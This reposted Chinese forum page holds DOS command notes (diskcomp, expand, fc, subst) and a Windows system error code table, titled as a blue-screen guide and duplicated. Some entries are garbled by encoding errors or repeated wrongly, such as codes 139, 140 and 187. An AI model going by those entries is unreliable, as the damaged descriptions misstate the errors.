適用場合: 比較兩張盤是否相同，沒想到什麼時候會用到，在比較用
diskcopy拷貝的兩張盤，為什麼不用diskcopy/v校驗呢？
〔用法〕diskcomp [盤符1] [盤符2] 比較盤1和盤2
diskcomp /1 只比較磁片的第一面 diskcomp /8 只比較沒磁軌的前8個磁區
〔例子〕C:\>diskcomp a: a:
在同一軟盤機中比較兩張盤 Insert FIRST diskette in drive A:
放入第一張盤 Press any key to continue . . .
Comparing 80 tracks 18 sectors per track, 2side(s) Insert SECOND diskette in drive A:
放入第二張盤 Press any key to continue . . . Compare OK
比較未發現不同 Compare another diskette (Y/N) ?n
是否比較其它盤，選y繼續比較，選n停
expand 解壓工具命令:
微軟公司軟體原始安裝盤中有許多尾碼以"_"結尾的壓縮檔，可以用它解壓，
解除您因為少數幾個檔丟失造成的麻煩。(Windows下用Winrar就可以解壓)
用法,C:\>expand a:vsafe.co_ c:\dos\vsafe.com
fasthelp 快速顯示説明資訊命令:
用法,在DOS下輸入abc.exe /fasthelp 同/?
fc 文件比較命令:
用法,就輸入fc[檔案名1][檔案名2]比較兩檔的不同參數還有: a c l Lbn n t w nnnn
subst 路徑替換命令:
用法 subst 顯示當前的替代路徑 subst [盤符] [路徑] 將指定的路徑替代盤符，該路徑將作為驅動器使用subst /b 解除替代
〔例子〕C:\DOS>subst a: c:\temp痖用c盤temp目錄替代a盤 C:\>subst a: /d痖 解除替代
[轉貼][分享]WINDOWS藍色當機畫面解讀
WINDOWS藍色當機畫面解讀
[隱藏]
WINDOWS藍色當機畫面解讀
WINDOWS藍色當機畫面解讀
錯誤代碼說明一覽表
數 值 敘 述
0 0x0000 作業完成。
1 0x0001 不正確的函數。
2 0x0002 系統找不到指定的檔案。
3 0x0003 系統找不到指定的路徑。
4 0x0004 系統無法開啟檔案。
5 0x0005 拒絕存取。
6 0x0006 無效的代碼。
7 0x0007 儲存體控制區塊已毀。
8 0x0008 儲存體空間不足，無法處理這個指令。
9 0x0009 儲存體控制區塊位址無效。
10 0x000A 環境不正確。
11 0x000B 嘗試載入一個格式錯誤的程-式。
12 0x000C 存取碼錯誤。
13 0x000D 資料錯誤。
14 0x000E 儲存體空間不夠，無法完成這項作業。
15 0x000F 系統找不到指定的磁碟機。
16 0x0010 無法移除目錄。
17 0x0011 系統無法將檔案移到 其他的磁碟機。
18 0x0012 沒有任何檔案。
19 0x0013 儲存媒體為防寫狀態。
20 0x0014 系統找不到指定的裝置。
21 0x0015 裝置尚未就緒。
22 0x0016 裝置無法識別指令。
23 0x0017 資料錯誤 (cyclic redundancy check)
24 0x0018 程-式發出一個長 度錯誤的指令。
25 0x0019 磁碟機在磁碟找不到 持定的磁區或磁軌。
26 0x001A 指定的磁碟或磁片無法存取。
27 0x001B 磁碟機找不到要求的磁區。
28 0x001C 印表機沒有紙。
29 0x001D 系統無法將資料寫入指定的磁碟機。
30 0x001E 系統無法讀取指定的裝置。
31 0x001F 連接到系統的某個裝置沒有作用。
32 0x0020 The process cannot access the file because it is being used by another process.
33 0x0021 檔案的一部份被鎖定， 現-在無法存取。
34 0x0022 磁碟機的磁片不正確。
36 0x0024 開啟的分享檔案數量太多。
38 0x0026 到達檔案結尾。
39 0x0027 磁碟已滿。
50 0x0032 不支援這種網路要求。
51 0x0033 遠端電腦無法使用。
52 0x0034 網路名稱重複。
53 0x0035 網路路徑找不到。
54 0x0036 網路忙碌中。
55 0x0037 The specified network resource or device is no longer available.
56 0x0038 The network BIOS command limit has been reached.
57 0x0039 網路配接卡發生問題。
58 0x003A 指定的伺服器無法執行要求的作業。
59 0x003B 網路發生意外錯誤。
60 0x003C 遠端配接卡不相容。
61 0x003D 印表機佇列已滿。
62 0x003E 伺服器的空間無法儲存等候列印的檔案。
63 0x003F 等候列印的檔案已經刪除。
64 0x0040 指定的網路名稱無法使用。
65 0x0041 拒絕存取網路。
66 0x0042 網路資源類型錯誤。
67 0x0043 網路名稱找不到。
68 0x0044 超過區域電腦網路配接卡的名稱限制。
69 0x0045 超過網路 BIOS 作業階段的限制。
70 0x0046 遠端伺服器已經暫停或者正在起始中。
71 0x0047 由於連線數目已達上限，此時無法再連線到這台遠端電腦。
72 0x0048 指定的印表機或磁碟裝置已經暫停作用。
80 0x0050 檔案已經存在。
82 0x0052 無法建立目錄或檔案。
83 0x0053 INT 24 失敗
84 0x0054 處理這項要求的儲存體無法使用。
85 0x0055 近端裝置名稱已經在使用中。
86 0x0056 指定的網路密碼錯誤。
87 0x0057 參數錯誤。
88 0x0058 網路發生資料寫入錯誤。
89 0x0059 此時系統無法執行其他行程-。
100 0x0064 無法建立其他的系統 semaphore。
101 0x0065 屬於其他行程-專用的 semaphore 。
102 0x0066 semaphore 已經設定，而且無法關閉。
103 0x0067 無法指定 semaphore 。
104 0x0068 在岔斷時間無法要求專用的 semaphore 。
105 0x0069 此 semaphore 先前的擁有權已經結束。
106 0x006A 請將磁片插入 %1。
107 0x006B 因為代用的磁片尚未插入，所以程-式已經停止。
108 0x006C 磁碟正在使用中或被鎖定。
109 0x006D Pipe 已經中止。
110 0x006E 系統無法開啟指定的 裝置或檔案。
111 0x006F 檔名太長。
112 0x0070 磁碟空間不足。
113 0x0071 沒有可用的內部檔案識別字。
114 0x0072 目標內部檔案識別字不正確。
117 0x0075 由應用程-式所執行的 IOCTL 呼叫 不正確。
118 0x0076 寫入驗證參數值不正確。
119 0x0077 系統不支援所要求的指令。
120 0x0078 此項功能僅在 Win32 模式有效。
121 0x0079 semaphore 超過逾時期間。
122 0x007A 傳到系統呼叫的資料區域 太小。
123 0x007B 檔名、目錄名稱或儲存體標籤語法錯誤。
124 0x007C 系統呼叫層次不正確。
125 0x007D 磁碟沒有設定標籤。
126 0x007E 找不到指定的模組。
127 0x007F 找不到指定的程-序。
128 0x0080 沒有子行程-可供等待。
129 0x0081 %1 這個應用程-式無法在 Win32 模式下執行。
130 0x0082 Attempt to use a file handle to an open disk partition for an operation other than raw disk I/O.
131 0x0083 嘗試將檔案指標移至檔案開頭之前。
132 0x0084 無法在指定的裝置或檔案，設定檔案指標。
133 0x0085 JOIN 或 SUBST 指令 無法用於 內含事先結合過的磁碟機。
134 0x0086 嘗試在已經結合的磁碟機，使用 JOIN 或 SUBST 指令。
135 0x0087 嘗試在已經替換的磁碟機，使 用 JOIN 或 SUBST 指令。
136 0x0088 系統嘗試刪除 未連結過的磁碟機的連結關係。
137 0x0089 系統嘗試刪除 未替換過的磁碟機的替換關係。
138 0x008A 系統嘗試將磁碟機結合到已經結合過之磁碟機的目錄。
139 0x008B 系統嘗試將磁碟機替換成已經替換過之磁碟機的目錄。
140 0x008C 系統嘗試將磁碟機替換成已經替換過之磁碟機的目錄。
141 0x008D 系統嘗試將磁碟機 SUBST 成已結合的磁碟機 目錄。
142 0x008E 系統此刻無法執行 JOIN 或 SUBST。
143 0x008F 系統無法將磁碟機結合或替換同一磁碟機下目錄。
144 0x0090 這個目錄不是根目錄的子目錄。
145 0x0091 目錄仍有資料。
146 0x0092 指定的路徑已經被替換過。
147 0x0093 資源不足，無法處理這項 指令。
148 0x0094 指定的路徑這時候無法使用。
149 0x0095 嘗試要結合或替換的磁碟機目錄，是已經替換過的的目標。
150 0x0096 CONFIG.SYS 檔未指定系統追蹤資訊，或是追蹤功能被取消。
151 0x0097 指定的 semaphore事件 DosMuxSemWait 數目不正確。
152 0x0098 DosMuxSemWait 沒有執行；設定太多的 semaphore。
153 0x0099 DosMuxSemWait 清單不正確。
154 0x009A 您所輸入的儲存媒體標 元長度限制。
155 0x009B 無法建立其他的執行緒。
156 0x009C 接收行程-拒絕接受信號。
157 0x009D 區段已經被捨棄，無法被鎖定。
158 0x009E 區段已經解除鎖定。
159 0x009F 執行緒識別碼的位址不正確。
160 0x00A0 傳到 DosExecPgm 的引數字串不正確。
161 0x00A1 指定的路徑不正確。
162 0x00A2 信號等候處理。
164 0x00A4 系統無法建立執行緒。
167 0x00A7 無法鎖定檔案的部份範圍。
170 0x00AA 所要求的資源正在使用中。
173 0x00AD 取消範圍的鎖定要求不明顯。
174 0x00AE 檔案系統不支援自動變更鎖定類型。
180 0x00B4 系統發現-不正確的區段號碼。
182 0x00B6 作業系統無法執行。
183 0x00B7 檔案已存在，無法建立同一檔案。
186 0x00BA 傳送的旗號錯誤。
187 0x00BB 指定的系統旗?鉹ㄗ魽C
188 0x00BC 作業系統無法執行。
189 0x00BD 作業系統無法執行。
190 0x00BE 作業系統無法執行。
191 0x00BF 無法在 Win32 模式下執行。
192 0x00C0 作業系統無法執行。
193 0x00C1 %1 不是正確的 Win32 應用程-式。
194 0x00C2 作業系統無法執行。
195 0x00C3 作業系統無法執行。
196 0x00C4 作業系統無法執行 這個應用程-式。
197 0x00C5 作業系統目前無法執行 這個應用程-式。
198 0x00C6 作業系統無法執行。
199 0x00C7 作業系統無法執行 這個應用程-式。
200 0x00C8 程-式碼的區段不可以大於或等於 64KB。
201 0x00C9 作業系統無法執行。
202 0x00CA 作業系統無法執行。
203 0x00CB 系統找不到輸入的環境選項。
205 0x00CD 在指令子目錄下，沒有任何行程-有信號副處理程-式。
206 0x00CE 檔案名稱或副檔名太長。
207 0x00CF ring 2 堆疊使用中。
208 0x00D0 輸入的通用檔名字元 * 或 ? 不正確， 或指定太多的通用檔名字元。
209 0x00D1 所傳送的信號不正確。
210 0x00D2 無法設定信號處理程-式。
212 0x00D4 區段被鎖定，而且無法重新配置。
214 0x00D6 附加到此程-式或動態連結模組的動態連結模組太多。
215 0x00D7 Can't nest calls to LoadModule.
230 0x00E6 The pipe state is invalid.
231 0x00E7 所有的 pipe instances 都在忙碌中。
232 0x00E8 The pipe is being closed.
233 0x00E9 No process is on the other end of the pipe.
234 0x00EA 有更多可用的資料。
240 0x00F0 作業階段被取消。
254 0x00FE 指定的延伸屬性名稱無效。
255 0x00FF 延伸的屬性不一致。
259 0x0103 沒有可用的資料。
266 0x010A 無法使用 Copy API。
267 0x010B 目錄名稱錯誤。
275 0x0113 延伸屬性不適用於緩衝區。
276 0x0114 在外掛的檔案系統上的延伸屬性檔案已經毀損。
277 0x0115 延伸屬性表格檔滿。
278 0x0116 指定的延伸屬性代碼無效。
282 0x011A 外掛的這個檔案系統不支援延伸屬性。
288 0x0120 意圖釋放不屬於叫用者的 mutex。
298 0x012A semaphore 傳送次數過多。
299 0x012B 只完成 Read/WriteProcessMemory 的部份要求。
317 0x013D 系統找不到位於訊息檔 %2 中編號為 0x%1 的訊息。
487 0x01E7 嘗試存取無效的位址。
534 0x0216 運算結果超過 32 位元。
535 0x0217 通道的另一端有一個行程-在接送資料。
536 0x0218 等候行程-來開啟通道的另一端。
994 0x03E2 存取延伸的屬性被拒。
995 0x03E3 由於執行緒結束或應用程-式要求，而異常終止 I/O 作業。
996 0x03E4 重疊的 I/O 事件不是設定成通知狀態。
997 0x03E5 正在處理重疊的 I/O 作業。
998 0x03E6 對記憶體位置的無效存取。
999 0x03E7 執行 inpage 作業發生錯誤。
1001 0x03E9 遞迴太深，堆疊滿溢。
1002 0x03EA 視窗無法用來傳送訊息。
1003 0x03EB 無法完成這項功能。
1004 0x03EC 旗號無效。
1005 0x03ED 儲存媒體未含任何可辨識的檔案系統。 請確定以載入所需的系統驅動程-式，而且該儲存媒體並未毀損。
1006 0x03EE 儲存該檔案的外部媒體發出警告， 表示該已開啟檔案已經無效。
1007 0x03EF 所要求的作業無法在全螢幕模式下執行。
1008 0x03F0 An attempt was made to reference a token that does not exist.
1009 0x03F1 組態系統登錄資料庫毀損。
1010 0x03F2 組態系統登錄機碼無效。
1011 0x03F3 無法開啟組態系統登錄機碼。
1012 0x03F4 無法讀取組態系統登錄機碼。
1013 0x03F5 無法寫入組態系統登錄機碼。
1014 0x03F6 系統登錄資料庫中的一個檔案必須使用記錄或其他備份還原。 已經還原成功。
1015 0x03F7 系統登錄毀損。其中某個檔案毀損、或者該檔案的 系統映對記憶體內容毀損、會是檔案無法復原。
1016 0x03F8 系統登錄起始的 I/O 作業發生無法復原的錯誤。 系統登錄無法讀入、寫出或更新，其中的一個檔案 內含系統登錄在記憶體中的內容。
1017 0x03F9 系統嘗試將檔案載入系統登錄或將檔案還原到系統登錄中， 但是，指定檔案的格式不是系統登錄檔的格式。
1018 0x03FA 嘗試在標示為刪除的系統登錄機碼，執行不合法的操作。
1019 0x03FB 系統無法配置系統登錄記錄所需的空間。
1020 0x03FC 無法在已經有子機碼或數值的系統登錄機碼建立符號連結。
1021 0x03FD 無法在臨-時機碼下建立永久的子機碼。
1022 0x03FE 變更要求的通知完成，但資訊 並未透過呼叫者的緩衝區傳回。呼叫者現-在需要自行列舉檔案，找出變更的地方。
1051 0x041B 停止控制已經傳送給其他服務 所依峙的一個服務。
1052 0x041C 要求的控制對此服務無效
1053 0x041D The service did not respond to the start or control request in a timely fashion. 1054 0x041E 無法建立服務的執行緒。
1055 0x041F 服務資料庫被鎖定。
1056 0x0420 這種服務已經在執行。
1057 0x0421 帳戶名稱錯誤或者不存在。
1058 0x0422 指定的服務暫停作用，無法啟動。
1059 0x0423 指定循環服務從屬關係。
1060 0x0424 指定的服務不是安裝進來的服務。
1061 0x0425 該服務項目此時無法接收控制訊息。
1062 0x0426 服務尚未啟動。
1063 0x0427 無法連線到服務控制程-式。
1064 0x0428 處理控制要求時，發生意外狀況。
1065 0x0429 指定的資料庫不存在。
1066 0x042A 服務傳回專屬於服務的錯誤碼。
1067 0x042B The process terminated unexpectedly.
1068 0x042C 從屬服務或群組無法啟動。
1069 0x042D 因為登入失敗，所以沒有啟動服務。
1070 0x042E 在啟動之後，服務在啟動狀態時當機。
1071 0x042F 指定服務資料庫鎖定無效。
1072 0x0430 指定的服務已經標示為刪除。
1073 0x0431 指定的服務已經存在。
1074 0x0432 系統目前正以上一次執行成功的組態執行。
1075 0x0433 從屬服務不存在，或已經標示為刪除。
1076 0x0434 目前的啟動已經接受上一次執行成功的 控制設定。
1077 0x0435 上一次啟動之後，就沒有再啟動服務。
1078 0x0436 指定的名稱已經用於服務名稱或服務顯示 名稱。
1100 0x044C 已經到了磁帶的最後。
1101 0x044D 到了檔案標示。
1102 0x044E 遇到磁帶的開頭或分割區。
1103 0x044F 到了檔案組的結尾。
1104 0x0450 磁帶沒有任何資料。
1105 0x0451 磁帶無法製作分割區。
1106 0x0452 存取多重容體的新磁帶時，發現-目前 區塊大小錯誤。
1107 0x0453 載入磁帶時，找不到磁帶分割區資訊。
1108 0x0454 無法鎖住儲存媒體退帶功能。
1109 0x0455 無法解除載入儲存媒體。
1110 0x0456 磁碟機中的儲存媒體已經變更。
1111 0x0457 已經重設 I/O 匯流排。
1112 0x0458 磁碟機沒有任何儲存媒體。
1113 0x0459 目標 multi-byte code page，沒有對應 Unicode 字元。
1114 0x045A 動態連結程-式庫 (DLL) 起始常式失敗。
1115 0x045B 系統正在關機。
1116 0x045C 無法中止系統關機，因為沒有關機的動作在進行中。
1117 0x045D 因為 I/O 裝置發生錯誤，所以無法執行要求。
1118 0x045E 序列裝置起始失敗，會取消載入序列驅動程-式。
1119 0x045F 無法開啟裝置。這個裝置與其他裝置共用岔斷要求 (IRQ)。 至少已經有一個使用同一IRQ 的其他裝置已經開啟。
1120 0x0460 A serial I/O operation was completed by another write to the serial port. (The IOCTL_SERIAL_XOFF_COUNTER reached zero.)
1121 0x0461 因為已經過了逾時時間，所以序列 I/O 作業完成。(IOCTL_SERIAL_XOFF_COUNTER 不是零。)
1122 0x0462 在磁片找不到任何的 ID 位址標示。
1123 0x0463 磁片磁區 ID 欄位與磁片控制卡追蹤位址 不符。
1124 0x0464 軟式磁碟機控制卡回報了一個軟式磁碟機驅動程-式無法識別 的錯誤。
1125 0x0465 軟式磁碟機控制卡傳回與暫存器中不一致的結果。
1126 0x0466 存取硬碟失敗，重試後也無法作業。
1127 0x0467 存取硬碟失敗，重試後也無法作業。
1128 0x0468 存取硬碟時，必須重設磁碟控制卡，但是 連重設的動作也失敗。
1129 0x0469 到了磁帶的最後。
1130 0x046A 可用伺服器儲存空間不足，無法處理這項指令。
1131 0x046B 發現-潛在的鎖死條件。
1132 0x046C 指定的基本位址或檔案位移沒有適當 對齊。
1140 0x0474 嘗試變更系統電源狀態，但其他的應用程-式或驅動程-式拒絕。
1141 0x0475 系統 BIOS 無法變更系統電源狀態。
1150 0x047E 指定的程-式需要新的 Windows 版本。
1151 0x047F 指定的程-式不是 Windows 或 MS-DOS 程-式。
1152 0x0480 指定的程-式已經啟動，無法再啟動一次。
1153 0x0481 指定的程-式是為舊版的 Windows 所寫的。
1154 0x0482 執行此應用程-式所需的程-式庫檔案之一毀損。
1155 0x0483 沒有應用程-式與此項作業的指定檔案建立關聯。
1156 0x0484 傳送指令到應用程-式發生錯誤。
1157 0x0485 找不到執行此應用程-式所需的程-式庫檔案。
1200 0x04B0 指定的裝置名稱無效。
1201 0x04B1 裝置現-在雖然未連線，但是它是一個記憶連線。
1202 0x04B2 嘗試記憶已經記住的裝置。
1203 0x04B3 提供的網路路徑找不到任何網路提供程-式。
1204 0x04B4 指定的網路提供程-式名稱錯誤。
1205 0x04B5 無法開啟網路連線設定檔。
1206 0x04B6 網路連線設定檔壞掉。
1207 0x04B7 無法列舉非容器。
1208 0x04B8 發生延伸的錯誤。
1209 0x04B9 指定的群組名稱錯誤。
1210 0x04BA 指定的電腦名稱錯誤。
1211 0x04BB 指定的事件名稱錯誤。
1212 0x04BC 指定的網路名稱錯誤。
1213 0x04BD 指定的服務名稱錯誤。
1214 0x04BE 指定的網路名稱錯誤。
1215 0x04BF 指定的資源分享名稱錯誤。
1216 0x04C0 指定的密碼錯誤。
1217 0x04C1 指定的訊息名稱錯誤。
1218 0x04C2 指定的訊息目的地錯誤。
1219 0x04C3 所提供的條件與現-有的條件組發生衝突。
1220 0x04C4 嘗試與網路伺服器連線，但是 與該伺服器的連線已經太多。
1221 0x04C5 其他網路電腦已經在使用這個工作群組或網域名稱。
1222 0x04C6 網路沒有顯示出來或者沒有啟動。
1223 0x04C7 使用者已經取消作業。
1224 0x04C8 要求的作業無法在已經開啟使用者對應區段的檔案執行。
1225 0x04C9 遠端系統拒絕網路連線。
1226 0x04CA 關閉網路連線。
1227 0x04CB 網路傳輸端點已經有相關連的位址。
1228 0x04CC 位址尚未有相關的網路端點。
1229 0x04CD 嘗試在不存在的網路連線作業。
1230 0x04CE 在作用中的網路連線上執行無效的作業。
1231 0x04CF 無法傳輸到遠端網路。
1232 0x04D0 無法連線到遠端系統。
1233 0x04D1 遠端系統不支援傳輸通訊協定。
1234 0x04D2 遠端系統的目的地網路端點沒有作何執行中的服務。
1235 0x04D3 要求已經中止。
1236 0x04D4 進端系統已經中斷網路連線。
1237 0x04D5 無法完成作業，請重試。
1238 0x04D6 無法與伺服器連線，原因是這個帳戶已經到達同時連線數目 的上限。
1239 0x04D7 嘗試在這個帳戶未授權的時間登入網路。
1240 0x04D8 這個帳戶無法從這個地方登入網路。
1241 0x04D9 網路位址無法用於這個要求的作業。
1242 0x04DA 服務已經登記。
1243 0x04DB 指定的服務不存在。
1244 0x04DC 作業無法執行，原因是使用者尚未授權使用。
[隱藏]
WINDOWS藍色當機畫面解讀
WINDOWS藍色當機畫面解讀
錯誤代碼說明一覽表
數 值 敘 述
0 0x0000 作業完成。
1 0x0001 不正確的函數。
2 0x0002 系統找不到指定的檔案。
3 0x0003 系統找不到指定的路徑。
4 0x0004 系統無法開啟檔案。
5 0x0005 拒絕存取。
6 0x0006 無效的代碼。
7 0x0007 儲存體控制區塊已毀。
8 0x0008 儲存體空間不足，無法處理這個指令。
9 0x0009 儲存體控制區塊位址無效。
10 0x000A 環境不正確。
11 0x000B 嘗試載入一個格式錯誤的程-式。
12 0x000C 存取碼錯誤。
13 0x000D 資料錯誤。
14 0x000E 儲存體空間不夠，無法完成這項作業。
15 0x000F 系統找不到指定的磁碟機。
16 0x0010 無法移除目錄。
17 0x0011 系統無法將檔案移到 其他的磁碟機。
18 0x0012 沒有任何檔案。
19 0x0013 儲存媒體為防寫狀態。
20 0x0014 系統找不到指定的裝置。
21 0x0015 裝置尚未就緒。
22 0x0016 裝置無法識別指令。
23 0x0017 資料錯誤 (cyclic redundancy check)
24 0x0018 程-式發出一個長 度錯誤的指令。
25 0x0019 磁碟機在磁碟找不到 持定的磁區或磁軌。
26 0x001A 指定的磁碟或磁片無法存取。
27 0x001B 磁碟機找不到要求的磁區。
28 0x001C 印表機沒有紙。
29 0x001D 系統無法將資料寫入指定的磁碟機。
30 0x001E 系統無法讀取指定的裝置。
31 0x001F 連接到系統的某個裝置沒有作用。
32 0x0020 The process cannot access the file because it is being used by another process.
33 0x0021 檔案的一部份被鎖定， 現-在無法存取。
34 0x0022 磁碟機的磁片不正確。
36 0x0024 開啟的分享檔案數量太多。
38 0x0026 到達檔案結尾。
39 0x0027 磁碟已滿。
50 0x0032 不支援這種網路要求。
51 0x0033 遠端電腦無法使用。
52 0x0034 網路名稱重複。
53 0x0035 網路路徑找不到。
54 0x0036 網路忙碌中。
55 0x0037 The specified network resource or device is no longer available.
56 0x0038 The network BIOS command limit has been reached.
57 0x0039 網路配接卡發生問題。
58 0x003A 指定的伺服器無法執行要求的作業。
59 0x003B 網路發生意外錯誤。
60 0x003C 遠端配接卡不相容。
61 0x003D 印表機佇列已滿。
62 0x003E 伺服器的空間無法儲存等候列印的檔案。
63 0x003F 等候列印的檔案已經刪除。
64 0x0040 指定的網路名稱無法使用。
65 0x0041 拒絕存取網路。
66 0x0042 網路資源類型錯誤。
67 0x0043 網路名稱找不到。
68 0x0044 超過區域電腦網路配接卡的名稱限制。
69 0x0045 超過網路 BIOS 作業階段的限制。
70 0x0046 遠端伺服器已經暫停或者正在起始中。
71 0x0047 由於連線數目已達上限，此時無法再連線到這台遠端電腦。
72 0x0048 指定的印表機或磁碟裝置已經暫停作用。
80 0x0050 檔案已經存在。
82 0x0052 無法建立目錄或檔案。
83 0x0053 INT 24 失敗
84 0x0054 處理這項要求的儲存體無法使用。
85 0x0055 近端裝置名稱已經在使用中。
86 0x0056 指定的網路密碼錯誤。
87 0x0057 參數錯誤。
88 0x0058 網路發生資料寫入錯誤。
89 0x0059 此時系統無法執行其他行程-。
100 0x0064 無法建立其他的系統 semaphore。
101 0x0065 屬於其他行程-專用的 semaphore 。
102 0x0066 semaphore 已經設定，而且無法關閉。
103 0x0067 無法指定 semaphore 。
104 0x0068 在岔斷時間無法要求專用的 semaphore 。
105 0x0069 此 semaphore 先前的擁有權已經結束。
106 0x006A 請將磁片插入 %1。
107 0x006B 因為代用的磁片尚未插入，所以程-式已經停止。
108 0x006C 磁碟正在使用中或被鎖定。
109 0x006D Pipe 已經中止。
110 0x006E 系統無法開啟指定的 裝置或檔案。
111 0x006F 檔名太長。
112 0x0070 磁碟空間不足。
113 0x0071 沒有可用的內部檔案識別字。
114 0x0072 目標內部檔案識別字不正確。
117 0x0075 由應用程-式所執行的 IOCTL 呼叫 不正確。
118 0x0076 寫入驗證參數值不正確。
119 0x0077 系統不支援所要求的指令。
120 0x0078 此項功能僅在 Win32 模式有效。
121 0x0079 semaphore 超過逾時期間。
122 0x007A 傳到系統呼叫的資料區域 太小。
123 0x007B 檔名、目錄名稱或儲存體標籤語法錯誤。
124 0x007C 系統呼叫層次不正確。
125 0x007D 磁碟沒有設定標籤。
126 0x007E 找不到指定的模組。
127 0x007F 找不到指定的程-序。
128 0x0080 沒有子行程-可供等待。
129 0x0081 %1 這個應用程-式無法在 Win32 模式下執行。
130 0x0082 Attempt to use a file handle to an open disk partition for an operation other than raw disk I/O.
131 0x0083 嘗試將檔案指標移至檔案開頭之前。
132 0x0084 無法在指定的裝置或檔案，設定檔案指標。
133 0x0085 JOIN 或 SUBST 指令 無法用於 內含事先結合過的磁碟機。
134 0x0086 嘗試在已經結合的磁碟機，使用 JOIN 或 SUBST 指令。
135 0x0087 嘗試在已經替換的磁碟機，使 用 JOIN 或 SUBST 指令。
136 0x0088 系統嘗試刪除 未連結過的磁碟機的連結關係。
137 0x0089 系統嘗試刪除 未替換過的磁碟機的替換關係。
138 0x008A 系統嘗試將磁碟機結合到已經結合過之磁碟機的目錄。
139 0x008B 系統嘗試將磁碟機替換成已經替換過之磁碟機的目錄。
140 0x008C 系統嘗試將磁碟機替換成已經替換過之磁碟機的目錄。
141 0x008D 系統嘗試將磁碟機 SUBST 成已結合的磁碟機 目錄。
142 0x008E 系統此刻無法執行 JOIN 或 SUBST。
143 0x008F 系統無法將磁碟機結合或替換同一磁碟機下目錄。
144 0x0090 這個目錄不是根目錄的子目錄。
145 0x0091 目錄仍有資料。
146 0x0092 指定的路徑已經被替換過。
147 0x0093 資源不足，無法處理這項 指令。
148 0x0094 指定的路徑這時候無法使用。
149 0x0095 嘗試要結合或替換的磁碟機目錄，是已經替換過的的目標。
150 0x0096 CONFIG.SYS 檔未指定系統追蹤資訊，或是追蹤功能被取消。
151 0x0097 指定的 semaphore事件 DosMuxSemWait 數目不正確。
152 0x0098 DosMuxSemWait 沒有執行；設定太多的 semaphore。
153 0x0099 DosMuxSemWait 清單不正確。
154 0x009A 您所輸入的儲存媒體標 元長度限制。
155 0x009B 無法建立其他的執行緒。
156 0x009C 接收行程-拒絕接受信號。
157 0x009D 區段已經被捨棄，無法被鎖定。
158 0x009E 區段已經解除鎖定。
159 0x009F 執行緒識別碼的位址不正確。
160 0x00A0 傳到 DosExecPgm 的引數字串不正確。
161 0x00A1 指定的路徑不正確。
162 0x00A2 信號等候處理。
164 0x00A4 系統無法建立執行緒。
167 0x00A7 無法鎖定檔案的部份範圍。
170 0x00AA 所要求的資源正在使用中。
173 0x00AD 取消範圍的鎖定要求不明顯。
174 0x00AE 檔案系統不支援自動變更鎖定類型。
180 0x00B4 系統發現-不正確的區段號碼。
182 0x00B6 作業系統無法執行。
183 0x00B7 檔案已存在，無法建立同一檔案。
186 0x00BA 傳送的旗號錯誤。
187 0x00BB 指定的系統旗?鉹ㄗ魽C
188 0x00BC 作業系統無法執行。
189 0x00BD 作業系統無法執行。
190 0x00BE 作業系統無法執行。
191 0x00BF 無法在 Win32 模式下執行。
192 0x00C0 作業系統無法執行。
193 0x00C1 %1 不是正確的 Win32 應用程-式。
194 0x00C2 作業系統無法執行。
195 0x00C3 作業系統無法執行。
196 0x00C4 作業系統無法執行 這個應用程-式。
197 0x00C5 作業系統目前無法執行 這個應用程-式。
198 0x00C6 作業系統無法執行。
199 0x00C7 作業系統無法執行 這個應用程-式。
200 0x00C8 程-式碼的區段不可以大於或等於 64KB。
201 0x00C9 作業系統無法執行。
202 0x00CA 作業系統無法執行。
203 0x00CB 系統找不到輸入的環境選項。
205 0x00CD 在指令子目錄下，沒有任何行程-有信號副處理程-式。
206 0x00CE 檔案名稱或副檔名太長。
207 0x00CF ring 2 堆疊使用中。
208 0x00D0 輸入的通用檔名字元 * 或 ? 不正確， 或指定太多的通用檔名字元。
209 0x00D1 所傳送的信號不正確。
210 0x00D2 無法設定信號處理程-式。
212 0x00D4 區段被鎖定，而且無法重新配置。
214 0x00D6 附加到此程-式或動態連結模組的動態連結模組太多。
215 0x00D7 Can't nest calls to LoadModule.
230 0x00E6 The pipe state is invalid.
231 0x00E7 所有的 pipe instances 都在忙碌中。
232 0x00E8 The pipe is being closed.
233 0x00E9 No process is on the other end of the pipe.
234 0x00EA 有更多可用的資料。
240 0x00F0 作業階段被取消。
254 0x00FE 指定的延伸屬性名稱無效。
255 0x00FF 延伸的屬性不一致。
259 0x0103 沒有可用的資料。
266 0x010A 無法使用 Copy API。
267 0x010B 目錄名稱錯誤。
275 0x0113 延伸屬性不適用於緩衝區。
276 0x0114 在外掛的檔案系統上的延伸屬性檔案已經毀損。
277 0x0115 延伸屬性表格檔滿。
278 0x0116 指定的延伸屬性代碼無效。
282 0x011A 外掛的這個檔案系統不支援延伸屬性。
288 0x0120 意圖釋放不屬於叫用者的 mutex。
298 0x012A semaphore 傳送次數過多。
299 0x012B 只完成 Read/WriteProcessMemory 的部份要求。
317 0x013D 系統找不到位於訊息檔 %2 中編號為 0x%1 的訊息。
487 0x01E7 嘗試存取無效的位址。
534 0x0216 運算結果超過 32 位元。
535 0x0217 通道的另一端有一個行程-在接送資料。
536 0x0218 等候行程-來開啟通道的另一端。
994 0x03E2 存取延伸的屬性被拒。
995 0x03E3 由於執行緒結束或應用程-式要求，而異常終止 I/O 作業。
996 0x03E4 重疊的 I/O 事件不是設定成通知狀態。
997 0x03E5 正在處理重疊的 I/O 作業。
998 0x03E6 對記憶體位置的無效存取。
999 0x03E7 執行 inpage 作業發生錯誤。
1001 0x03E9 遞迴太深，堆疊滿溢。
1002 0x03EA 視窗無法用來傳送訊息。
1003 0x03EB 無法完成這項功能。
1004 0x03EC 旗號無效。
1005 0x03ED 儲存媒體未含任何可辨識的檔案系統。 請確定以載入所需的系統驅動程-式，而且該儲存媒體並未毀損。
1006 0x03EE 儲存該檔案的外部媒體發出警告， 表示該已開啟檔案已經無效。
1007 0x03EF 所要求的作業無法在全螢幕模式下執行。
1008 0x03F0 An attempt was made to reference a token that does not exist.
1009 0x03F1 組態系統登錄資料庫毀損。
1010 0x03F2 組態系統登錄機碼無效。
1011 0x03F3 無法開啟組態系統登錄機碼。
1012 0x03F4 無法讀取組態系統登錄機碼。
1013 0x03F5 無法寫入組態系統登錄機碼。
1014 0x03F6 系統登錄資料庫中的一個檔案必須使用記錄或其他備份還原。 已經還原成功。
1015 0x03F7 系統登錄毀損。其中某個檔案毀損、或者該檔案的 系統映對記憶體內容毀損、會是檔案無法復原。
1016 0x03F8 系統登錄起始的 I/O 作業發生無法復原的錯誤。 系統登錄無法讀入、寫出或更新，其中的一個檔案 內含系統登錄在記憶體中的內容。
